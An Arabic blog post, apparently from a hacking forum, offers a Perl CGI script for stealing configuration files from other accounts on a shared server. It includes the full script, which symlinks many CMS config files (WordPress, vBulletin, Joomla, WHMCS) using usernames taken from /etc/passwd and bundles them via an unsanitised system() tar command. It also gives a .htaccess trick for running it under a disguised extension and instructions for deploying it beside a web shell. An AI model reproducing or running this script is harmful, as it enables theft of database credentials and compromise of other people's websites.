صندوق التنبيهات أو للإعلان

سكربت سحب كونفيجات السيرفر

تعليق واحد6:37 ص, مرسلة بواسطة The Code
السلام عليكم ورحمة الله وبركاته

زوار منتدى الحماية

هذا السكربت يقوم بسحب كونفيجات السيرفر 
مميزات السكربت مبرمج بلغة البيرل
السكربت امتداده متغير بحيث يتخطى امتدادpl اذا كان الروت مانع هذا الامتداد

السكربت يقوم بسحب اي ملف على المسارات التالية ويمكنك التعديل عليه


symlink('/home/'.$user.'/public_html/vb/includes/config.php',$kola.'.txt');
symlink('/home/'.$user.'/public_html/includes/config.php',$kola.'1.txt');
symlink('/home/'.$user.'/public_html/config.php',$kola.'2.txt');
symlink('/home/'.$user.'/public_html/forum/includes/config.php',$kola.'3.txt');
symlink('/home/'.$user.'/public_html/admin/conf.php',$kola.'5.txt');
symlink('/home/'.$user.'/public_html/admin/config.php',$kola.'4.txt');
symlink('/home/'.$user.'/public_html/wp-config.php',$kola.'13.txt');
symlink('/home/'.$user.'/public_html/blog/wp-config.php',$kola.'14.txt');
symlink('/home/'.$user.'/public_html/conf_global.php',$kola.'6.txt');
symlink('/home/'.$user.'/public_html/include/db.php',$kola.'7.txt');
symlink('/home/'.$user.'/public_html/connect.php',$kola.'8.txt');
symlink('/home/'.$user.'/public_html/mk_conf.php',$kola.'9.txt');
symlink('/home/'.$user.'/public_html/configuration.php',$kola.'10.txt');
symlink('/home/'.$user.'/public_html/include/config.php',$kola.'12.txt');
symlink('/home/'.$user.'/public_html/joomla/configuration.php',$kola.'11.txt');
symlink('/home/'.$user.'/public_html/whm/configuration.php',$kola.'15.txt');
symlink('/home/'.$user.'/public_html/whmc/configuration.php',$kola.'16.txt');
symlink('/home/'.$user.'/public_html/support/configuration.php',$kola.'17.txt');




طريقة تشغيل السكربت تقوم بتحميله 

وقم برفع الملفين داخل مجلد لا ترفعهم فى نفس مجلد الشل 

قم بتنفيذ الامر

chmod 755 config.ar

واستعرض الملف من المتصفح 

وبينتج مربع تحط به ناتج الامر
cat /etc/passwd
====================

كود السكربت

}
@pairs = split(/&/, $buffer);
foreach $pair (@pairs) {
  ($name, $value) = split(/=/, $pair);
  $name =~ tr/+/ /;
  $name =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
  $value =~ tr/+/ /;
  $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;
  $FORM{$name} = $value;
}
if ($FORM{pass} eq ""){
print '
<body class="newStyle1">
<h2><font color="#cecece" face="Caurier" size="2"><span style="color: rgb(192, 192, 192);">ConFig ALL Server</span> <span style="color: rgb(255, 0, 0);">PriV8</span><br /></font></h2><h2><font color="#cecece" face="Caurier" size="7"><span style="color: rgb(255, 255, 255);">Defaced by</span> <span style="color: rgb(255, 0, 0);">Root-Ar.CoM</span></font></h2>
<form method="post">
<textarea name="pass" style="width: 543px; height: 420px"></textarea>
<br />
<input name="tar" type="text" style="width: 212px" /><br />
<input name="Submit1" type="submit" value="OK" style="width: 99px" /><br />
</form>';
}else{
@lines =<$FORM{pass}>;
$y = @lines;
open (MYFILE, ">tar.tmp");
print MYFILE "tar -czf ".$FORM{tar}.".tar ";
for ($ka=0;$ka<$y;$ka++){
while(@lines[$ka]  =~ m/(.*?):x:/g){
&lil($1);
print MYFILE $1.".txt ";
for($kd=1;$kd<18;$kd++){
print MYFILE $1.$kd.".txt ";
}
}
 }
print'<body class="newStyle1">
<p>Done !!</p>
<p>&nbsp;</p>';
if($FORM{tar} ne ""){
open(INFO, "tar.tmp");
@lines =<INFO> ;
close(INFO);
system(@lines);
print'<p><a href="'.$FORM{tar}.'.tar"><font face="Tahoma" color="#FFFFFF" size="4">
<span style="text-decoration: none">Ddownload tar All Config</span></font> </a></p>';
}
}
 print"
</body>
</html>";



ملف .htaccess

Options FollowSymLinks MultiViews Indexes ExecCGI

AddType application/x-httpd-cgi .ar

AddHandler cgi-script .ar
AddHandler cgi-script .ar

تعديل الرسالة…

تعليق واحد على { سكربت سحب كونفيجات السيرفر }

sec-r1z يقول...
10 مايو 2012 في 9:07 ص [حذف]

THANX

هل تريد التعليق على التدوينة ؟